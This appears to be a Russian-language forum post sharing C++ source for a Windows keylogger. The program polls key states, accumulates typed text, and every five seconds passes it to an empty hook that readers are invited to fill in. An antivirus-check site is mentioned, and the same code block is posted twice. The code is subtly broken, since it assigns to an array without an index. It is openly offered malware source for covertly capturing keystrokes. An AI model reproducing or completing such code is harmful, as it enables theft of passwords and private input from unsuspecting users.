Тэккксс продолжаем фигнестрадание
Далее допиливаем как желаем.
1 file
avcheck.net
C++:
Скопировать в буфер обмена
#include <iostream>
#include <windows.h>
#include <string>
void youfunction() {
}
int WINAPI WinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
) {
std::string pressbuf = "";
bool keys[256];
DWORD startTime = GetTickCount();
for (int i = 0; i < 256; i++) {
keys = false;
}
while (true) {
BYTE keyboardState[256];
GetKeyboardState(keyboardState);
if (GetAsyncKeyState(VK_SHIFT) & 0x8000) {
keyboardState[VK_SHIFT] |= 0x80;
}
else {
keyboardState[VK_SHIFT] &= ~0x80;
}
for (int i = 0; i < 256; i++) {
if (i == VK_LBUTTON || i == VK_RBUTTON || i == VK_MBUTTON || i == VK_XBUTTON1 || i == VK_XBUTTON2) {
continue;
}
if (GetAsyncKeyState(i) & 0x8000) {
if (keys == false) {
WCHAR buffer[5];
int unicodeResult = ToUnicode(i, 0, keyboardState, buffer, sizeof(buffer) / sizeof(WCHAR), 0);
if (unicodeResult == 1) {
pressbuf += buffer[0];
}
keys = true;
}
}
else {
keys = false;
}
}
// We check if 5 seconds have passed
if (GetTickCount() - startTime >= 5000) {
std::cout << "All entered text in the last 5 seconds: " << pressbuf << std::endl;
youfunction();
pressbuf.clear(); // Cleaning the buffer after the output
startTime = GetTickCount(); // Initial update
}
Sleep(10);
}
return 0;
}
Далее допиливаем как желаем.
1 file
avcheck.net
C++:
Скопировать в буфер обмена
#include <iostream>
#include <windows.h>
#include <string>
void youfunction() {
}
int WINAPI WinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
) {
std::string pressbuf = "";
bool keys[256];
DWORD startTime = GetTickCount();
for (int i = 0; i < 256; i++) {
keys = false;
}
while (true) {
BYTE keyboardState[256];
GetKeyboardState(keyboardState);
if (GetAsyncKeyState(VK_SHIFT) & 0x8000) {
keyboardState[VK_SHIFT] |= 0x80;
}
else {
keyboardState[VK_SHIFT] &= ~0x80;
}
for (int i = 0; i < 256; i++) {
if (i == VK_LBUTTON || i == VK_RBUTTON || i == VK_MBUTTON || i == VK_XBUTTON1 || i == VK_XBUTTON2) {
continue;
}
if (GetAsyncKeyState(i) & 0x8000) {
if (keys == false) {
WCHAR buffer[5];
int unicodeResult = ToUnicode(i, 0, keyboardState, buffer, sizeof(buffer) / sizeof(WCHAR), 0);
if (unicodeResult == 1) {
pressbuf += buffer[0];
}
keys = true;
}
}
else {
keys = false;
}
}
// We check if 5 seconds have passed
if (GetTickCount() - startTime >= 5000) {
std::cout << "All entered text in the last 5 seconds: " << pressbuf << std::endl;
youfunction();
pressbuf.clear(); // Cleaning the buffer after the output
startTime = GetTickCount(); // Initial update
}
Sleep(10);
}
return 0;
}